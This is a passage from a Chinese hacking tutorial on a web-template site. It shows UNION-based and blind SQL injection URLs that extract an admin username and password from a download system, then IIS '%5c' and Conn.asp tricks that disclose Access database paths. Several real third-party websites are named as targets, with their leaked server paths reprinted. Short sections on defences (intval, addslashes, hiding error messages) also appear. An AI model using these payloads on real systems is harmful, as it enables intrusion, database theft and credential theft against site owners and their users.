  忘记了,就算不存在id1的用户,前面的查询是真的,照样会正常返回数据库的软件信息,我们只能让前面的查询为假,才能使后面查询的结果显示出来,但我们要注意一点,show.php文件里面有这样一段代码:

if ($id > "0"&& $id < "999999999" ):

//这里是正确执行的代码

else:

echo "

<center><ahref=./list.php>无记录</a>n";

  也就是说我们的ID的值再怎么离谱也不能在0999999999之外,HB的软件肯定不会超过10000个的,我们就提交:

http://127.0.0.1/ymdown/show.php?id=10000union select

1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1from ymdown_user where id=1

  正常返回了,表格里的数据全部是"1",说明ID还在哦。如果不存在的话,页面只返回的数据全部是不详,因为程序的判断是如果数据为空就显示不详。现在确定了ID存在后,还要确定是不是管理员才行啊:

http://127.0.0.1/ymdown/show.php?id=10000union select

1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1from ymdown_user where id=1 and groupid=1

  程序规定groupid1是超级管理员,既然都返回正确信息了,我们就直接构造畸形语句,暴出我们需要的用户名和密码,嘿嘿,首先看看ymdown表的数据结构,因为show.php是查询它的,所以我们应该看它的数据结构。

CREATE TABLE ymdown (

idint(10) unsigned NOT NULL auto_increment,

namevarchar(100) NOT NULL,

updatetimevarchar(20) NOT NULL,

sizevarchar(100) NOT NULL,

empowervarchar(100) NOT NULL,

osvarchar(100) NOT NULL,

gradesmallint(6) DEFAULT 0 NOT NULL,

viewnumint(10) DEFAULT 0 NOT NULL,

downnumint(10) DEFAULT 0 NOT NULL,

homepagevarchar(100), demo varchar(100),

briefmediumtext, img varchar(100),

sort2idsmallint(6) DEFAULT 0 NOT NULL,

down1varchar(100) NOT NULL,

down2varchar(100),

down3varchar(100),

down4varchar(100),

down5varchar(100),

PRIMARYKEY (id)

);

  用户名和密码的数据类型都是varchar,所以我们要选择ymdown表里数据类型是varchar来,如果把varchar的数据写到int的地方当然是不可能显示的了,由于updatetime(更新日期)的长度是20,可能会出现显示不完全的情况,我们就把用户名显示在name(软件标题)那里,密码显示在size(文件大小)那里好了,在19"1"中,namesize分别是第二个和第四个,我们提交:

http://127.0.0.1/ymdown/show.php?id=10000union select

1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1from ymdown_user where id=1

  结果成功返回了我们所需要的用户名和密码验证测试结果

  整个渗透过程就结束了,不过由于黑白把入口给改了,无法登陆,但我们仅仅测试注入,目的已经达到了,就没有必要进后台了,我后来又继续构造SQL语句来验证我们获取的密码是否正确,依次提交:

http://127.0.0.1/ymdown/show.php?id=10union select

1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1from ymdown_user where id=1 and ord(mid(password,1,1))=49

#验证第一位密码

http://127.0.0.1/ymdown/show.php?id=10union select

1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1from ymdown_user where id=1 and ord(mid(password,2,1))=50

#验证第二位密码

http://127.0.0.1/ymdown/show.php?id=10union select

1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1from ymdown_user where id=1 and ord(mid(password,3,1))=51

#验证第三位密码

http://127.0.0.1/ymdown/show.php?id=10union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1and ord(mid(password,4,1))=52

#验证第四位密码

http://127.0.0.1/ymdown/show.php?id=10union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1and ord(mid(password,5,1))=53

#验证第五位密码

  http://127.0.0.1/ymdown/show.php?id=10 unionselect 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 andord(mid(password,6,1))=54

#验证第六位密码

  用selectchar(49,50,51,52,53,54)就可以得到123456

OK!测试结束,验证我们的结果没有错误。说明一下,密码本身是123456,可以不用ord()函数而直接猜,但为了大家能看到一个完整的过程,我还是"专业"一点好了。

1.7  注入的防范

  防范可以从两个方面着手,一个就是服务器,二个就是代码本身,介绍服务器配置的文章很多了,无非就是把magic_quotes_gpc设置为Ondisplay_errors设置为Off,这里也就不在多说,既然本文接触都是程序的问题,我们还是从程序本身寻找原因。

  如果说phpasp易用,安全,从内置的函数就可以体现出来。如果是整形的变量,只需使用一个intval()函数即可解决问题,在执行查询之前,我们先处理一下变量,如下面的例子就是很安全的了:

$id = intval($id);

mysql_query("SELECT *FROM article WHERE articleid=$id");

  或者这样写:

mysql_query("SELECT *FROM article WHERE articleid=".intval($id)."")

  不管如何构造,最终还是会先转换为整形猜放入数据库的。很多大型程序都是这样写,非常简洁。

  字符串形的变量也可以用addslashes()整个内置函数了,这个函数的作用和magic_quotes_gpc一样,使用后,所有的 (单引号)," (双引号),(反斜线)and 空字符会自动转为含有反斜线的溢出字符。而且新版本的php,就算magic_quotes_gpc打开了,再使用addslashes()函数,也不会有冲突,可以放心使用。例子如下:

$username =addslashes($username);

mysql_query("SELECT *FROM members WHERE userid=$username");

  或者这样写:

mysql_query("SELECT *FROM members WHERE userid=".addslashes($username)."")

  使用addslashes()函数还可以避免引号配对错误的情况出现。而刚才的前面搜索引擎的修补方法就是直接把"_""%"转换为"_""%"就可以了,当然也不要忘记使用addslashes()函数。具体代码如下:

$keywords =addslashes($keywords);

$keywords =str_replace("_","_",$keywords);

$keywords =str_replace("%","%",$keywords);

  不用像ASP那样,过滤一点变量,就要写一大堆的代码,就是上面的一点点代码,我们就可以把本文所有的问题解决了,是不是很简便?www.hookbase.com 论坛上有大量技术性文章觉的可以的话帮我顶上去呵呵

1.8  我看暴库漏洞原理及规律1

SQL注入流行很久了,我们找漏洞注入目的无非是想得到数据库内的东西,比如用户名密码等,更进一步的MSSQL数据库还可以借此获得权限。基于Access的基础来说,如果我们不用注入就可以得到整个数据库,不是更好吗?于是暴库成了一个比注入更简单的入侵手段。

有关暴库的方法,高手们常在入侵文章中提到,但多是一笔带过,有些就某一个方法谈的,也多是就方法进行探讨。最近有一篇《再谈%5c暴库的利用》的文章,算是对暴库进行了一些总结,因而在网是流传很广。但仍没有谈及原理,而且结论也只是就于经验,似是而非,于是决定来谈谈暴库的原理与规律。不到之处,大家多指教。

"%5c"暴库大法

这种方法被认为是暴库绝招,很是流行了一阵,但是和其它漏洞一样,随着知道的人多了,防备也加强了,没以前那么有效。这种方法简单点说就是在打开网页时,把网址址中的"/"换成"%5c",然后提交,就可以暴出数据库的路径。

  实际上,并不是所有网址都有效,需要"asp?id="这样的网页地址,或者说表示有调用数据库的行为的地址。如果你确认这个网页有调用数据库的,后面不是这样的也可以,比如Chklogin.asp等也可以(还有其它条件,后面再谈)。先举个黑防第四轮实验室中的例子:

http://219.237.81.46/yddown%5cview.asp?id=3

把第二个"/"换成"%5c"

http://219.237.81.46/yddown%5cview.asp?id=3

提交后会得到如下返回结果:

Microsoft JET DatabaseEngine 错误80004005

D:111admin ds_dbd32rfd213fg.mdb不是一个有效的路径。确定路径名称拼写是否正确,以及是否连接到文件存放的服务器。

/yddown/conn.asp,行12

这是黑防实验室的一个系统,暴库是小编们故意开放的,因为它的关口不是注入,而是进入后台后如何获得WebShell。可以看到我们直接获取了数据库地址,可以下载了。

现在很多人都知道这个方法了,我就不多举例了。但清楚暴库原理的人估计是不多的,有人成功,有人不成功,《再谈%5c暴库的利用》一文总结说,须变换第二个"/""%5c"才行。很有实用性,但这个结论只是一种经验,其实并不正确,让我们先看看它的原理。

"%5c"暴库法,它不是网页本身的漏洞,而是利用了IIS解码方式中的一个特性,如果IIS安全设置不周全,而网页设计者未考虑IIS错误,就会被人利用。为何要用"%5c"?它实际上是""的十六进制代码,也就是""的另一种表示法。在电脑中,它们是同一个东东,但提交"""%5c"却会产生不同的结果。在IE中,我们把下面第一个地址中的"/"换成""提交:

http://219.237.81.46/yddown/view.asp?id=3

http://219.237.81.46/yddownview.asp?id=3

二者的访问结果是一样的。IE会自动把""转变成"/",从而访问到同一地址。但是,当我们把"/"换成十六进制写法"%5c"时,IE不会对此进行转换。地址中的"%5c"被原样提交了,抓包结果如下:

GET /yddown%5cview.asp?id=3HTTP/1.1

IIS收到并做出解析时,又会将%5c还原成""。这样,IIS中网址的相对路径就变成/yddownview.asp,这一点很重要,问题正是从这里开始的。

ASP网页中,凡调用数据库时,都会用到一个连接数据库的网页Conn.asp,它会创建一个数据库连接对象,定义要调用的数据库路径,一个典型的Conn.asp如下:

<%

   dim conn

   dim dbpath

 setconn=server.createobject("adodb.connection")

   DBPath =Server.MapPath("admin/rds_dbd32rfd213fg.mdb")

   conn.Open "driver={Microsoft AccessDriver (*.mdb)};dbq=" & DBPath

%>

大家注意第4句:"DBPath= Server.MapPath("admin/rds_dbd32rfd213fg.mdb")"Server.MapPath方法的作用是将网站中的相对路径转变成物理上的绝对路径,为何要这样?因为连接数据库时,须指明它的绝对路径才能读取和写入。那什么是相对路径、绝对路径?IIS为了不让访问者知道真实的实际路径,并且确保网站不因变换地址而影响使用,它采用了一种相对路径来表示目录与文件之间的关系。也就是网址目录只表示从根目录起的相对位置。比如网站:http://219.237.81.46的根目录为:"D:111",雨点下载目录则在根目录(D:111)内的"yddown"下,我们网站访问该站时,就是在访问D:111yddown目录,而http://219.237.81.46/yddown/admin/只表明了AdminYddown这个目录的相对关系,把这个网站放在E盘,也一样不改变Admin位于Yddown目录下的关系。

Server.MapPath方法将相对路径转为真实路径时,它实际是三部分路径加在一起得到真实路径的:网页目前执行时所在的相对路径,也就是从网站物理根目录起的相对路径,比如上面例子中Conn.asp处在从根目录起的"/yddown/"下;然后调用的数据库的相对路径是admin/rds_dbd32rfd213fg.mdb,这样就得到从根目录起的完整相对路径:"/yddown/admin/rds_dbd32rfd213fg.mdb"。这些都只是相对的路径,如何变为真实路径呢?

  设置过IIS的人都会知道,每一个网站,都必须指定它在硬盘上的物理目录,比如上例中,网站根目录所在的物理目录为:"D:111"Server.MapPath方法正是通过把"网站根目录的物理地址+完整的相对路径",从而得到真实的物理路径,数据库在硬盘上的物理路径是:D:111yddownadmin ds_dbd32rfd213fg.mdbIIS""表示真实路径的目录关系,而以"/"表示虚拟路径,这可能就是IE会自动把我们地址中的""转为"/"的原因。

  明白这些,我们再来理解暴库就不难了,当我们提交:http://219.237.81.46/yddown%5cview.asp?id=3时,View.asp调用Conn.asp后,得到的网页相对路径是这样的:"/yddown",再加上"admin/rds_dbd32rfd213fg.mdb",就得到"/yddownadmin/rds_dbd32rfd213fg.mdb"。在IIS中,"/"""代表着不同的意义,遇到了""时,认为它已到了根目录所在的物理路径,不再往上解析(为何不再往上解析?后面还会分析),于是网站的完整相对路径变成了:"admin/rds_dbd32rfd213fg.mdb",再加上根目录的物理路径,得到的真实路径变成:"D:111admin ds_dbd32rfd213fg.mdb",而这个路径是不存在的,数据库连接当然会失败,于是IIS会报错,并给出错误原因:

Microsoft JET DatabaseEngine 错误80004005

D:111admin ds_dbd32rfd213fg.mdb不是一个有效的路径。确定路径名称拼写是

否正确,以及是否连接到文件存放的服务器。

/yddown/conn.asp,行12

这就是暴库方法的来历。

  《再谈%5c暴库的利用》一文中说,必须是网址中的第二级目录才可以成功,第一个不行。我们从理论上来分析一下,看到底有无规律。还以上面网址为例,如果将第一个"/"换成"%5c",得到的网站相对路径变成"yddows/admin/rds_dbd32rfd213fg.mdb",解析到""时,认为已到物理目录,不再往前解析。而事实上,它确实也是根目录,所以得到的物理路径为:"D:111dydowadmin ds_dbd32rfd213fg.mdb",这个路径是正确的,所以不会出错,当然不会暴出数据库路径。

第二个"/"换成"%5c"的情况,我们上面已作分析,那是不是真的就是二级页面才可以暴出呢?事实上,只是因为二级页面较为常见,并不是真理。如果这个下载系统是某一个网站中的三级目录,那第三个"/"成功的可能性更大。也就是说,最右边第一个成功可能性大!

我先举个例子,再说原因:

http://nice.xmu.edu.cn/channely/blog/showlog.asp?cat_id=31&log_id=246

这个网址变第二个"/""%5c"时,网站打开很慢,但没有出错。当我们把第三个"/"变成"%5c"后,提交:

http://nice.xmu.edu.cn/channely/blog%5cshowlog.asp?cat_id=31&log_id=246

数据库暴出来了:

Microsoft JET Database Engine错误80004005

H:channelylog_mdb\%29dlog_mdb%29.asp不是一个有效的路径。确定路径名称拼写是否正确,以及是否连接到文件存放的服务器。

/channely/blog/conn.asp,行18

为何这样?这是因为网站用了虚拟目录,也就是说这个网站的子目录Channely

1.9  我看暴库漏洞原理及规律2

设置过IIS的人会知道,可以将网站目录外的一个真实物理目录设置为网站的虚拟目录。也就是说,网站的相对对径并不总是从根目录算起,很可能在某个子目录就指向了物理目录。

上面的结果很显然,Channely已位于H:盘的根目录上,上面再没有目录。事实上,很可能网站在D:盘或E:盘,而通过IIS中设置Channely虚拟子目录指向网站根目录以外的"H:channely"

这里,我们可以更清楚的看到,微软IIS为何没有到根目录,只要遇上""就认为已到物理绝对路径,不再往上解析的原因,就是为了处理这种网站虚拟目录与根目录不在一起的情况。它优先查询每个目录是否指向了物理路径,如果指向了,则把它换成绝对路径,而它上面的相对地址不再解析转换。

从以上分析可知,我们只有在数据库相对地址和它的目录绝对地址之间使用"""%5c")才能达到目的。上例中,如果在第二处使用,它只会影响到IIS寻找虚拟的Channely目录地址,而Conn.asp中解析出的数据库地"H:channelyloglog_mdb\%29dlog_mdb%29.asp"仍是对的。

《再谈%5c暴库的利用》中还说了一种针对只有一级目录的解决方法:"其实一级目录我们也同样可以成功的,我们可以通过构造一个多级目录来达到暴库的目的。如:

http://www.target.com/noexists/..%5clist.asp?id=1

这样大家就会有新的惊喜了,呵呵。"真的吗?从理论上分析,这种方法是不会成功的。因为遇到"%5c"时,页面不再解析,所以中间构造的目录不论是真是假,都是不起作用而被舍弃了,相对路径还是到了根目录,路径不会出错。为了证明,我特意找了一个例子:

http://www.om88.com/Article_Show.asp?ArticleID=481

这个网站我们先用Conn.asp方法暴出数据库(后面将讲解这个方法),说明服务器和网站设置是可以暴库的。提交:

http://www.om88.com/inc/conn.asp

可以看到是可以暴库的,我们再提交:

http://www.om88.com/abc/..%5cArticle_Show.asp?ArticleID=481

却暴不出库,仍得到正常页面(换成存在的路径结果也一样),但图片无法显示。是因为相对路径变了,所以无法正确找到图片路径,但绝对路径解析时被"%5c"舍弃了,没有出错,当然暴不出库了。

Conn.asp暴库大法

这里的Conn.asp只是表示数据库调用文件,因为多数都是这个名字(有些网站改名,我们也视同Conn.asp)。其实,这种暴库法是最先出现的,以前很多牛人都对此进行过探讨,我记得黑防也在特别早的时候专门讨论了这个方法。只是在"%5c"暴库大法出现后,倒较少有人提及。其实个人认为,"%5c"暴大法随着服务器设置安全性的加强,用武之地会越来越少。而Conn.asp暴库大法发挥的余地更大,可以人为构造,臭要饭的当年著名的动网大挪移实现暴库,其实也属于此类。

在上面http://www.om88.com/的一例中,用"%5c"暴不出数据库路径,因为没有二级目录,但用第二种却可以暴出,它是动力系统的。我们再来看另外一个盗帅的例子:http://www.51see.org/

提交:

http://www.51see.org/db/user.asp

得到如下结果,

"Microsoft JETDatabase Engine 错误80004005

d:Hostingwwwrootuilady_comhtdocsdbdbdownloadwoaini12345.asp不是一个有效的路径。确定路径名称拼写是否正确,以及是否连接到文件存放的服务器。

/db/user.asp,行6"

有人可能会说,这么简单就暴库,好爽!是不是所有网站都可以这样啊?当然不是,已作了防护的站点肯定不行,没作防护的,要暴库也是有条件的。如果说第一种暴库法是利用了绝对路径出错,那么,这种暴库法就是利用了相对路径出错。

一般来说,只要Conn.asp不在根目录的系统,而调用文件在根目录,就会出现这种问题。当然这种说法也是经验性的,准确的说就是,Conn.asp与调用它的文件如果相对位置改变了,就会报错,暴出数据库路径。这样说可能有人不明白,不要紧,接着看你就会明白的。

我们从动力文章系统说起。

动力文章系统的Conn.asp位于系统下的INC目录下,而很多调用它的文件在系统根目录下,比如User_ChkLogin.asp等,这样当Conn.asp执行时,它是在系统根目录"D:wwwrootzyx688wwwroot"下执行的。因此,Conn.asp文件中,调用数据库时它考虑到执行时的目录路径,因而数据库的相对地址写成如下:

   db="database/fp360609.asp"

这样,当它在系统根目录下执行时,数据库的相对路径为根目录下的"database"目录,但当我们直接请求它时,它工作的当前目录是在根目录下的INC目录内,这时数据库的相对路径就变成了"inc/database/fp360609.asp",这样它当然出错,得到的绝对路径中也多出了"inc"。为了让大家看得更清楚,我们举一个可以用两种方法暴库的网站,比较一下看有何不同。提交:

http://www.pofen.com/sc/down%5cshow.asp?id=437

得到:

"Microsoft JETDatabase Engine 错误80004005

D:Webdatapofen.comscdbdownload.mdb不是一个有效的路径。确定路径名称拼写是否正确,以及是否连接到文件存放的服务器。

/sc/down/db/user.asp,行6"

再提交:

http://www.pofen.com/sc/down/db/user.asp

得到:

Microsoft JET DatabaseEngine 错误80004005

D:Webdatapofen.comscdowndbdbdownload.mdb不是一个有效的路径。确定路径名称拼写是否正确,以及是否连接到文件存放的服务器。

/sc/down/db/user.asp,行6

两种方法得到的绝对路径,一个比实际路径少了,一个则多了,这两个系统都是因为Conn.asp不在系统根目录下而引起的。那是不是Conn.asp放在根目录,与调用的文件在一个目录下就无事呢?如果在一起,当然没事,但牛人自有牛法子,可以通过构造方法来造成相对路径变化,一样能达到暴库的目的。比如,动网的大挪移手法,将Conn.asp移位,从而暴库。

当然,实际操作中,因为Conn.asp移走后,网站无法工作,所以没有成功,但这种思路还是给很多人启发。如果有一种方法可以复制而不是移动,或者说,移动的不是Conn.asp,而是调用Conn.asp的其它文件,比如Chklogin之类,理论上就可以成功。今天刚看到一个暴动易系统路径的最新方法,其原理就是构造错误而达到获得真实路径的目的。

防范暴库

说白了,暴库是因为IIS服务器会对每个执行错误给出详细说明,并停止执行,IIS的默认设置又是将错误信息返回给用户。因此,要避免暴库,就应改变IIS的默认设置,选取错误时只给一个出错的通知,不给详细信息。其实,有些虚拟主机为了便于站长调试,一般不关掉信息返回,作为网站管理者,又无法对虚拟主机设置时,只能在网页中加强防范。就是在可能出错的页面加上这一句:"OnError Resume Next"。它的意思是出错后,恢复执行下面的语句,也就是不理会出错,当然就不会给出错误信息了。动易系统3.62版加上这句话后,现在就暴不出路径了,而天意商务网的Conn.asp也不在根目录,但因为加了这句,也暴不出数据库了。

关于暴库的原理和分析就说到这里,大家有什么看法可以发文一起探讨,并恳请牛人们指教!谢谢!

可惜插不了图片,不好意思,要不然可以更清楚的给大家看到...................


投诉

上一篇:梅州市金新科网络技术有限公司招聘网..

下一篇:新手怎么学习建网站

专业的织梦模板定制下载站,在线购买后即可下载!

商业源码

跟版网模板,累计帮助5000+客户企业成功建站,为草根创业提供助力!

立刻开启你的建站之旅

QQ在线客服

服务热线

织梦建站咨询